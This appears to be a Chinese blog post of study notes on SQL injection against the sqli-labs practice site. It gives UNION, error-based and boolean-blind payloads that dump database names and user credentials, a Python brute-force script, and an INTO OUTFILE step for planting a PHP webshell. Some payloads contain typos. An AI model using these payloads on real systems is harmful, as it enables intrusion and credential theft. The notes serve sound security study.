zoukankan      html  css  js  c++  java
  • sql注入判断流程(结合sqli-labs学习)

    sql注入判断流程(结合sqli-labs学习)

    类型一

    1. 类型判断
      ?id=1 and 1=2 --+

    如果返回结果正常,说明不是数字类型

    and 为两方都为真才算争取

    ?id=1' --+ 显示不正常
    ?id=1') --+ 若显示正常,则该类型为字符注入,且以('')的方式闭合字符串,还有("")

    --+ 是注释,因为浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替-- ,原因是+在URL被URL编码后会变成空格。

    1. 利用order by查看有多少列
      ?id=1 order by 1 --+
      ?id=1 order by 2 --+
      ... 一直到出现 Unknown column '行数' in 'order clause' 为止

    小技巧:可以选择一个较大的数字来分组

    1. 查询数据库名
      ?id=-1' UNION SELECT 1, (SELECT GROUP_CONCAT(SCHEMA_NAME) from information_schema.schemata),3 --+

    id=-1' 是为了后面的内容能够正确显示,若前面能直接查询,后面可能查询不完整

    1. 通过查询到的数据库名查看表名
      ?id= -1' union select 1,(select group_concat(schema_name) from information_schema.schemata), (select group_concat(table_name) from information_schema.tables where table_schema='数据库名') --+

    2. 利用表名爆破列名
      ?id =-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

    3. 整合信息
      ?id=-1' union select 1, (select group_concat(username) from security.users),(select group_concat(password) from security.users) --+

    类型二 报错盲注

    1. 按照类型一无法判断是否有存在注入
    2. 不管如何注入都显示报错信息可尝试使用三种方式进行注入
    3. floor函数(取整)
      ?id=1' and (select 1 from (select count(),concat(0x7e,database(),0x7e,floor(rand()2)) as a from information_schema.tables group by a)as b)limit 0,1--+

    若返回 Subjectquery returns more than 1 row 可能是因为限制了返回的字符长度
    0x7e 是符号‘~’的十六进制

    限制64位

    1. extractvalue函数
      ?id=1' and extractvalue(1,concat(0x7,(select database()),0x7e)) limit 0,1--+

    select database() 可替换为其他查询语句
    extractvalue(XML_document, XPath_string);

    返回长度为32个字符长度

    1. updatexml函数
      ?id=1' and updatexml(1,concat(0x3a,(select database())),1) limit 0,1--+

    select database() 可替换为其他查询语句
    updatexml(XML_document, XPath_string,new_value);

    返回长度为32个字符长度

    类型三 导出文件到本地,一句话木马

    1. 了解
      file权限:数据库用户是否有权限向操作系统写入和读取已存在的权限
      into outfile:服务器上一个可以写入文件的文件夹的完整路径

    2. 将结果保存在本地文件
      ?id=1')) union select 1,2,3 into outfile '有读取权限的路径文件名.文件类型'; --+

    注意使用''进行转义,即路径写为‘’
    不会覆盖已存在的文件名

    1. 尝试一句话木马
      ?id=1')) union selet 1,2,'' into outfile '有读取权限的路径文件名.php'; --+

    2. 可尝试使用中国菜刀等软件

    注意MySQL 5.7版本之后into outfile默认是禁用的,需要重新走一下初始化

    在ini或者cnf初始化文件中加入初始化设定 secure_file_priv=''

    类型四 布尔盲注

    1. 常用函数
      1.1 mid(string,start,length)函数

    string(必需)规定要返回其中一部分的字符串
    start(必需)规定开始位置(起始值为1)
    length(可选)要返回的字符数。如果省略,则mid()函数返回剩余文本

    1.2 substr(string,start,length) 函数

    string(必需)规定要返回其中一部分的字符串
    start(必需)规定在字符串的何处开始
    length(可选)规定被返回字符串的长度

    1.3 left(string, length)函数

    string(必需)规定要返回其中一部分的字符串
    length(可选)规定被返回字符串的前length长度的字符

    1. 判断数据库名字长度
      ?id=1' and length(database())=8 --+
    2. 数据库字符串判断
      ?id=1' and left(database(),1)='字符串' --+

    数据库第一个字符串是否等于'字符串'
    数据库第二个字符串即,left(database(),1)='字符串',一般使用python脚本进行判断

    import requests
    import os
     
    #此函数先判断数据库长度
    def length(url,str):
        num = 1
        while True:
            str_num = '%d' %num
            len_url = url + "' and (select length(database()) = " + str_num +")--+"
            response = requests.get(len_url)
            if str in response.text:
                print("数据库长度为:%s" %str_num)
                content(url,str,num)
                break
            else:
                num = num + 1
     
    #此函数判断字符串具体的内容
    def content(url,str,num):
        s = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
        con_num = 1
        while con_num <= num:
            str_num = '%d' %con_num
            for i in s:
                con_url = url + "' and (select mid(database(),"+ str_num +",1)='"+ i +"')--+"
                response = requests.get(con_url)
                if str in response.text:
                    fwrite(i)
            con_num = con_num + 1
    #此函数对字符串的内容做记录并输出
    def fwrite(i):
        # fp = open("cache.txt",'a')
        # fp.write(i)
        # fp.close()
        print(i)
    if __name__ == '__main__':
        url = "http://localhost/sqli-labs/Less-5/?id=1"
        response = requests.get(url)
        str = "You are in..........."
        if str in response.text:
            length(url,str)
        else:
            print("请输入正确的地址")  
    

    类型五 时间盲注

    1. 时间盲注原理
      通过IF来判断我们输入是否正确,如果正确立刻返回,如果错误则延迟数秒返回。
      网站关闭了错误回显或过滤了关键字,网页只会返回状态。

    2. 测试

    常见错误排除

    Please input the ID as parameter with numeric value
    错误排除:可能书写为?id = 1 ,不要有多余的空格,应该写为?id=1
    
  • 相关阅读:
    周末、广州、WEB安全测试实战训练
    WEB安全测试实战训练周末精品班课程圆满结束!
    常用渗透性测试工具
    大家还在迷信工具么?
    团购网站安全性普遍堪忧
    网页安全漏洞检测 隐藏字段
    用ModSecurity+PhantomJS进行服务器端XSS攻击检测
    关于HP WebInspect 9.1
    AQA(www.AutomationQA.com)开始连载《Web Security Testing Cookbook》学习笔记
    从团购网的漏洞看网站安全性问题
  • 原文地址:https://www.cnblogs.com/benyuanzhang/p/11050836.html
Copyright © 2011-2022 走看看